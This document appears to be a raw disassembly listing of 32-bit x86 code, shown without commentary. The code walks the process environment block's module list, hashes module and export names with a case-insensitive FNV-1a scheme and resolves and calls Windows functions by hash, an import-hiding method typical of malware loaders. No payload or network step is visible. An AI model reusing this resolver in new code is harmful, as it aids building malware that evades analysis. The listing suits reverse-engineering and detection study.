mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49ca67
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49ca67
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x10], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49ca55
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49ca20
mov ecx, dword [ebp - 4]
cmp edi, 0xef3e6846
je 0x49ceca
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], eax
cmp ecx, dword [edx + 0x18]
jne 0x49ca10
xor eax, eax
mov dword [0x4f8bfc], eax
lea ecx, [ebp - 0x1a8]
push ecx
lea ecx, [ebp - 0x3b8]
push ecx
lea ecx, [ebp - 0x1ac]
push ecx
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x28]
call eax
test eax, eax
jne 0x49cbec
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x49cb31
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop dword [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x10], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49cb18
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x10]
imul eax, eax, 0x1000193
mov dword [ebp - 0x10], eax
cmp edi, ebx
jne 0x49cae0
cmp eax, 0xa3e6f6c3
je 0x49cee7
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49cb29
cmp dword [ecx + 0x18], 0
jne 0x49cac0
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f07bc]
test eax, eax
jne 0x49cbce
test ebx, ebx
je 0x49cbc7
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49cbc7
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49cbc7
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x10], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49cbb5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49cb80
mov ecx, dword [ebp - 4]
cmp edi, 0xb3c5b296
je 0x49cef2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], eax
cmp ecx, dword [edx + 0x18]
jne 0x49cb70
xor eax, eax
mov dword [0x4f07bc], eax
push dword [ebp - 0xc]
lea ecx, [ebp - 0x3b8]
push ecx
call eax
xor ecx, ecx
test eax, eax
sete cl
mov dword [ebp - 0x20], ecx
test eax, eax
je 0x49cd48
mov ebx, dword [0x4f083c]
test ebx, ebx
jne 0x49cc81
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x10], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49cc68
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x10]
imul eax, eax, 0x1000193
mov dword [ebp - 0x10], eax
cmp edi, ebx
jne 0x49cc30
cmp eax, 0x39794115
je 0x49cf0f
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49cc79
cmp dword [ecx + 0x18], 0
jne 0x49cc12
xor ebx, ebx
mov dword [0x4f083c], ebx
mov edx, dword [0x4f8bf8]
test edx, edx
jne 0x49cd1f
test ebx, ebx
je 0x49cd17
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49cd17
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49cd17
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x10], eax
nop word [eax + eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49cd05
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49ccd0
mov ecx, dword [ebp - 4]
cmp edi, 0x13b29f66
je 0x49cf1a
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], eax
cmp ecx, dword [edx + 0x18]
jne 0x49ccc0
xor edx, edx
mov dword [0x4f8bf8], edx
mov ebx, dword [ebp - 0xc]
mov ecx, ebx
call fcn.004bb100
lea eax, [eax*2 + 2]
push eax
push ebx
push 1
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x28]
call edx
mov ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
mov ebx, dword [0x4f083c]
test ebx, ebx
jne 0x49cde1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x10], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49cdc8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x10]
imul eax, eax, 0x1000193
mov dword [ebp - 0x10], eax
cmp edi, ebx
jne 0x49cd90
cmp eax, 0x39794115
je 0x49cf37
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49cdd9
cmp dword [ecx + 0x18], 0
jne 0x49cd70
xor ebx, ebx
mov dword [0x4f083c], ebx
mov eax, dword [0x4f8bf0]
test eax, eax
jne 0x49ce7e
test ebx, ebx
je 0x49ce77
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49ce77
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49ce77
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x10], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49ce65
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49ce30
mov ecx, dword [ebp - 4]
cmp edi, 0x6b36a56a
je 0x49cf42
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], eax
cmp ecx, dword [edx + 0x18]
jne 0x49ce20
xor eax, eax
mov dword [0x4f8bf0], eax
push dword [ebp - 0x28]
call eax
mov ecx, dword [ebp - 0xc]
call fcn.004bb000
mov ecx, dword [ebp - 0x20]
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49c87b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + ebx]
add ecx, ebx
jmp 0x49c91a
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49c9cb
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x49ca69
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49cb2b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x49cbc9
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49cc7b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + ebx]
add edx, ebx
jmp 0x49cd19
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49cddb
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x49ce79